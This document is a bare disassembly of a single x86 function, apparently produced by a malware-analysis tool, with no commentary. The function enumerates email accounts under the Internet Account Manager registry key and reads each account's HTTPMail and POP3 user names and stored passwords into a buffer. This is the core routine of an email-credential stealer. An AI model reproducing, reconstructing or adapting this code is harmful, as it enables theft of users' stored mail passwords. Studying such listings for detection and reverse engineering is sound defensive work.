Function at 0x40c786
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
mov dword [ebp - 0x300], ecx
push 0x4b00
push 0
mov eax, dword [ebp - 0x300]
add eax, 0x90
push eax
call fcn.004275d0
add esp, 0xc
push 0x45b1d0
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x168]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0xcc]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x40c7f6
jmp 0x40cd8d
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x16c], 3
mov ecx, dword [ebp - 0x300]
mov dword [ecx + 0x4b90], 0
cmp dword [ebp - 0x184], 0x103
je 0x40cd8d
mov dword [ebp - 0x178], 0xc8
lea edx, [ebp - 0x174]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0x2ec]
push ecx
mov edx, dword [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x184], eax
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x45b240
lea edx, [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x188]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0xcc]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x16c]
push eax
push 0
push str.HTTPMail_User_Name
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cb03
lea edx, [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 0x4b90]
imul ecx, ecx, 0x12c
mov edx, dword [ebp - 0x300]
lea eax, [edx + ecx + 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x96
push 0
lea ecx, [ebp - 0x164]
push ecx
call fcn.004275d0
add esp, 0xc
push str.Hotmail
mov edx, dword [ebp - 0x300]
mov eax, dword [edx + 0x4b90]
imul eax, eax, 0x12c
mov ecx, dword [ebp - 0x300]
lea edx, [ecx + eax + 0x158]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 4], 0x96
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x16c]
push edx
push 0
push str.HTTPMail_Password2
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cacd
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 2
jmp 0x40c9d2
mov ecx, dword [ebp - 0x2f0]
add ecx, 1
mov dword [ebp - 0x2f0], ecx
mov edx, dword [ebp - 0x2f0]
cmp edx, dword [ebp - 4]
jae 0x40caa5
mov eax, dword [ebp - 0x2f0]
mov cl, byte [ebp + eax - 0x220]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x40ca5d
mov edx, dword [ebp - 0x2f0]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x28
je 0x40ca5d
mov ecx, dword [ebp - 0x2f0]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x29
je 0x40ca5d
mov eax, dword [ebp - 0x2f0]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x2e
je 0x40ca5d
mov edx, dword [ebp - 0x2f0]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x20
je 0x40ca5d
mov ecx, dword [ebp - 0x2f0]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x2d
jne 0x40caa0
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 0x4b90]
imul ecx, ecx, 0x12c
mov edx, dword [ebp - 0x2f4]
add edx, ecx
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x2f0]
mov cl, byte [ebp + ecx - 0x220]
mov byte [eax + edx + 0xf4], cl
mov edx, dword [ebp - 0x2f4]
add edx, 1
mov dword [ebp - 0x2f4], edx
jmp 0x40c9c3
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 0x4b90]
imul ecx, ecx, 0x12c
mov edx, dword [ebp - 0x2f4]
add edx, ecx
mov eax, dword [ebp - 0x300]
mov byte [eax + edx + 0xf4], 0
push 0x96
push 0
lea ecx, [ebp - 0x220]
push ecx
call fcn.004275d0
add esp, 0xc
mov edx, dword [ebp - 0x300]
mov eax, dword [edx + 0x4b90]
add eax, 1
mov ecx, dword [ebp - 0x300]
mov dword [ecx + 0x4b90], eax
jmp 0x40cd6a
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x16c]
push ecx
push 0
push str.POP3_User_Name
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cd6a
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx + 0x4b90]
imul edx, edx, 0x12c
mov eax, dword [ebp - 0x300]
lea ecx, [eax + edx + 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x96
push 0
lea edx, [ebp - 0x164]
push edx
call fcn.004275d0
add esp, 0xc
mov dword [ebp - 4], 0x96
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x16c]
push edx
push 0
push str.Account_Name
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x300]
mov eax, dword [edx + 0x4b90]
imul eax, eax, 0x12c
mov ecx, dword [ebp - 0x300]
lea edx, [ecx + eax + 0x158]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x96
push 0
lea eax, [ebp - 0x164]
push eax
call fcn.004275d0
add esp, 0xc
mov dword [ebp - 4], 0x96
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x16c]
push eax
push 0
push str.POP3_Password2
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cd39
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 2
jmp 0x40cc3e
mov edx, dword [ebp - 0x2f8]
add edx, 1
mov dword [ebp - 0x2f8], edx
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 4]
jae 0x40cd11
mov ecx, dword [ebp - 0x2f8]
mov dl, byte [ebp + ecx - 0x220]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
test eax, eax
jne 0x40ccc9
mov eax, dword [ebp - 0x2f8]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x28
je 0x40ccc9
mov edx, dword [ebp - 0x2f8]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x29
je 0x40ccc9
mov ecx, dword [ebp - 0x2f8]
xor edx, edx
mov dl, byte [ebp + ecx - 0x220]
cmp edx, 0x2e
je 0x40ccc9
mov eax, dword [ebp - 0x2f8]
xor ecx, ecx
mov cl, byte [ebp + eax - 0x220]
cmp ecx, 0x20
je 0x40ccc9
mov edx, dword [ebp - 0x2f8]
xor eax, eax
mov al, byte [ebp + edx - 0x220]
cmp eax, 0x2d
jne 0x40cd0c
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx + 0x4b90]
imul edx, edx, 0x12c
mov eax, dword [ebp - 0x2fc]
add eax, edx
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x2f8]
mov dl, byte [ebp + edx - 0x220]
mov byte [ecx + eax + 0xf4], dl
mov eax, dword [ebp - 0x2fc]
add eax, 1
mov dword [ebp - 0x2fc], eax
jmp 0x40cc2f
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx + 0x4b90]
imul edx, edx, 0x12c
mov eax, dword [ebp - 0x2fc]
add eax, edx
mov ecx, dword [ebp - 0x300]
mov byte [ecx + eax + 0xf4], 0
push 0x96
push 0
lea edx, [ebp - 0x220]
push edx
call fcn.004275d0
add esp, 0xc
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 0x4b90]
add ecx, 1
mov edx, dword [ebp - 0x300]
mov dword [edx + 0x4b90], ecx
mov eax, dword [ebp - 0x180]
add eax, 1
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x17c]
add ecx, 1
mov dword [ebp - 0x17c], ecx
jmp 0x40c82e
mov esp, ebp
pop ebp
ret